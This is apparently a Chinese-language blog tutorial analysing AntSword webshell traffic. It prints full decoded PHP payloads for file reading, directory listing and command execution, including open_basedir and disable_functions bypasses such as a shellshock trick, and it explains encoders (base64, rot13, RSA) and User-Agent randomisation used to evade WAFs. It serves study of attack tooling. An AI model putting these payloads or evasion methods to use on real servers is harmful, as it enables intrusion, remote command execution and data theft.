0x01 流量代码分析

首先设置好本地burp的代理服务器地址以及监听端口
image.png
在本地服务器上写一句话木马连接,连接密码为cmd
这里点击查看文件抓包
image.png
把cmd参数进行url解码发送代码如下:

  1. <?php
  2. @ini_set("display_errors", "0");
  3. @set_time_limit(0); //不显示报错
  4. $opdir=@ini_get("open_basedir");
  5. if($opdir)
  6. {
  7. $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
  8. $oparr=preg_split("/;|:/",$opdir);
  9. @array_push($oparr,$ocwd,sys_get_temp_dir());
  10. foreach($oparr as $item)
  11. {
  12. if(!@is_writable($item))
  13. {
  14. continue;
  15. };
  16. $tmdir=$item."/.018972";
  17. @mkdir($tmdir);
  18. if(!@file_exists($tmdir))
  19. {
  20. continue;
  21. }
  22. @chdir($tmdir);
  23. @ini_set("open_basedir", "..");
  24. $cntarr=@preg_split("/\\\\|\//",$tmdir);
  25. for($i=0;$i<sizeof($cntarr);$i++)
  26. {
  27. @chdir("..");
  28. };
  29. @ini_set("open_basedir","/");
  30. @rmdir($tmdir);break;};
  31. };
  32. ;
  33. function asenc($out)
  34. {
  35. return $out;
  36. };
  37. function asoutput()//用于返回信息
  38. {
  39. $output=ob_get_contents();
  40. ob_end_clean();
  41. echo "ab"."4ab"; //用于返回信息,同时加入岁间前缀,对安全狗是一种绕过
  42. echo @asenc($output);
  43. echo "3b54"."81df";
  44. }
  45. ob_start();
  46. try{
  47. $F=base64_decode(substr($_POST["qd91d3c361de1e"],2));
  48. $P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));// 进行读取文件的操作
  49. @fclose($P);;
  50. }catch(Exception $e)
  51. {
  52. echo "ERROR://".$e->getMessage();//报错信息
  53. };
  54. asoutput();
  55. die();

qd91d3c361de1e这个参数传递的是base64编码后的文件路径,利用fread函数读文件然后返回
列出目录流量:

  1. <?php
  2. @ini_set("display_errors", "0");
  3. @set_time_limit(0);
  4. $opdir = @ini_get("open_basedir");
  5. if ($opdir) {
  6. $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
  7. $oparr = preg_split("/;|:/", $opdir);
  8. @array_push($oparr, $ocwd, sys_get_temp_dir());
  9. foreach ($oparr as $item) {
  10. if (!@is_writable($item)) {
  11. continue;
  12. };
  13. $tmdir = $item . "/.3e26b2835b";
  14. @mkdir($tmdir);
  15. if (!@file_exists($tmdir)) {
  16. continue;
  17. }
  18. @chdir($tmdir);
  19. @ini_set("open_basedir", "..");
  20. $cntarr = @preg_split("/\\\\|\//", $tmdir);
  21. for ($i = 0; $i < sizeof($cntarr); $i++) {
  22. @chdir("..");
  23. };
  24. @ini_set("open_basedir", "/");
  25. @rmdir($tmdir);
  26. break;
  27. };
  28. };;
  29. function asenc($out)
  30. {
  31. return $out;
  32. };
  33. function asoutput()
  34. {
  35. $output = ob_get_contents();
  36. ob_end_clean();
  37. echo "36" . "2cf";
  38. echo @asenc($output);
  39. echo "0b83" . "45789";
  40. }
  41. ob_start();
  42. try {
  43. $D = base64_decode(substr($_POST["ze7ac24219d2a4"], 2));
  44. $F = @opendir($D);
  45. if ($F == NULL) {
  46. echo ("ERROR:// Path Not Found Or No Permission!");
  47. } else {
  48. $M = NULL;
  49. $L = NULL;
  50. while ($N = @readdir($F)) {
  51. $P = $D . $N;
  52. $T = @date("Y-m-d H:i:s", @filemtime($P));
  53. @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
  54. $R = " " . $T . " " . @filesize($P) . " " . $E . "
  55. ";
  56. if (@is_dir($P)) $M .= $N . "/" . $R;
  57. else $L .= $N . $R;
  58. }
  59. echo $M . $L;
  60. @closedir($F);
  61. };
  62. } catch (Exception $e) {
  63. echo "ERROR://" . $e->getMessage();
  64. };
  65. asoutput();
  66. die();

大概看一下就是利用readdir 函数读目录然后输出,大体和读文件相同
返回:
image.png
系统命令执行:

  1. <?php
  2. @ini_set("display_errors", "0");
  3. @set_time_limit(0);
  4. $opdir = @ini_get("open_basedir");
  5. if ($opdir) {
  6. $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
  7. $oparr = preg_split("/;|:/", $opdir);
  8. @array_push($oparr, $ocwd, sys_get_temp_dir());
  9. foreach ($oparr as $item) {
  10. if (!@is_writable($item)) {
  11. continue;
  12. };
  13. $tmdir = $item . "/.f26dd1e9d5a1";
  14. @mkdir($tmdir);
  15. if (!@file_exists($tmdir)) {
  16. continue;
  17. }
  18. @chdir($tmdir);
  19. @ini_set("open_basedir", "..");
  20. $cntarr = @preg_split("/\\\\|\//", $tmdir);
  21. for ($i = 0; $i < sizeof($cntarr); $i++) {
  22. @chdir("..");
  23. };
  24. @ini_set("open_basedir", "/");
  25. @rmdir($tmdir);
  26. break;
  27. };
  28. };;
  29. function asenc($out)
  30. {
  31. return $out;
  32. };
  33. function asoutput()
  34. {
  35. $output = ob_get_contents();
  36. ob_end_clean();
  37. echo "af" . "798";
  38. echo @asenc($output);
  39. echo "9210" . "b681";
  40. }
  41. ob_start();
  42. try {
  43. $p = base64_decode(substr($_POST["g43990e34390b8"], 2));
  44. $s = base64_decode(substr($_POST["m82411474f1991"], 2));
  45. $envstr = @base64_decode(substr($_POST["j4f8eb76abdc1e"], 2));
  46. $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  47. $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
  48. if (substr($d, 0, 1) == "/") {
  49. @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
  50. } else {
  51. @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
  52. }
  53. if (!empty($envstr)) {
  54. $envarr = explode("|||asline|||", $envstr);
  55. foreach ($envarr as $v) {
  56. if (!empty($v)) {
  57. @putenv(str_replace("|||askey|||", "=", $v));
  58. }
  59. }
  60. }
  61. $r = "{$p} {$c}";
  62. function fe($f)
  63. {
  64. $d = explode(",", @ini_get("disable_functions"));
  65. if (empty($d)) {
  66. $d = array();
  67. } else {
  68. $d = array_map('trim', array_map('strtolower', $d));
  69. }
  70. return (function_exists($f) && is_callable($f) && !in_array($f, $d));
  71. };
  72. function runshellshock($d, $c)
  73. {
  74. if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
  75. if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
  76. $tmp = tempnam(sys_get_temp_dir(), 'as');
  77. putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
  78. if (fe('error_log')) {
  79. error_log("a", 1);
  80. } else {
  81. mail("a@127.0.0.1", "", "", "-bv");
  82. }
  83. } else {
  84. return False;
  85. }
  86. $output = @file_get_contents($tmp);
  87. @unlink($tmp);
  88. if ($output != "") {
  89. print($output);
  90. return True;
  91. }
  92. }
  93. return False;
  94. };
  95. function runcmd($c)
  96. {
  97. $ret = 0;
  98. $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  99. if (fe('system')) {
  100. @system($c, $ret);
  101. } elseif (fe('passthru')) {
  102. @passthru($c, $ret);
  103. } elseif (fe('shell_exec')) {
  104. print(@shell_exec($c));
  105. } elseif (fe('exec')) {
  106. @exec($c, $o, $ret);
  107. print(join("
  108. ", $o));
  109. } elseif (fe('popen')) {
  110. $fp = @popen($c, 'r');
  111. while (!@feof($fp)) {
  112. print(@fgets($fp, 2048));
  113. }
  114. @pclose($fp);
  115. } elseif (fe('proc_open')) {
  116. $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
  117. while (!@feof($io[1])) {
  118. print(@fgets($io[1], 2048));
  119. }
  120. while (!@feof($io[2])) {
  121. print(@fgets($io[2], 2048));
  122. }
  123. @fclose($io[1]);
  124. @fclose($io[2]);
  125. @proc_close($p);
  126. } elseif (fe('antsystem')) {
  127. @antsystem($c);
  128. } elseif (runshellshock($d, $c)) {
  129. return $ret;
  130. } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
  131. $w = new COM('WScript.shell');
  132. $e = $w->exec($c);
  133. $so = $e->StdOut();
  134. $ret .= $so->ReadAll();
  135. $se = $e->StdErr();
  136. $ret .= $se->ReadAll();
  137. print($ret);
  138. } else {
  139. $ret = 127;
  140. }
  141. return $ret;
  142. };
  143. $ret = @runcmd($r . " 2>&1");
  144. print ($ret != 0) ? "ret={$ret}" : "";;
  145. } catch (Exception $e) {
  146. echo "ERROR://" . $e->getMessage();
  147. };
  148. asoutput();
  149. die();

数据包里面两个都是base64,第一个参数是cmd(linux为/bin/sh),,第二个参数是目录,表示cd到这个目录下面去执行命令
fe函数检测函数有无被禁用
$d得到被禁用的函数,变为一个数组,如果$d为空也转换成一个数组,如果$d不为空先将所有的禁用函数转换为小写再去掉空格,如果这个函数存在,可调用,不在这个数组里面则返回true
runshellshock函数,这里已经开始bypassdisable_function了
runcmd函数,就是一个个对比过去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最后还有个com组件
antsystem这个方法找了一下没找到,可能是作者先留着准备以后写的吧
$ret是命令执行后返回的状态,0是成功1是失败
上面所有方法都不能使用则返回ret=127,实际测试中只有所有方法都失败了才会返回127,因为里面执行的命令不止有一条,如:cd /d “D:\phpstudy_pro\WWW”&a&echo [S]&cd&echo [E]只要错误的命令不在最后一段里面就会返回0whoami&a&whoami
#返回0 whoami&whoami&a #返回1_
如果想看到ret=1输入;就可以会使整条命令都错误。

0x02蚁剑自带加密

这里选择编码器选择base64加密,解码器也一样,请求和返回都经过了base64加密image.png
除了base64还有rot13等编码,
其中蚁剑还提供了自建编码器的功能:
我们可以使用rsa来进行流量混淆加密
点击编码设置->RSA配置->生成
image.png
然后新建编码器
image.png

0x03waf识别流量原理:

老版蚁剑的User-Agent不会改变所以很容易被waf识别,在新版蚁剑中使用了一个随机的User-Agent来代替
image.png
所以只要使用蚁剑rsa编码器,rot13编码器,在webshell方面做好加密即可实现安全加密的通信。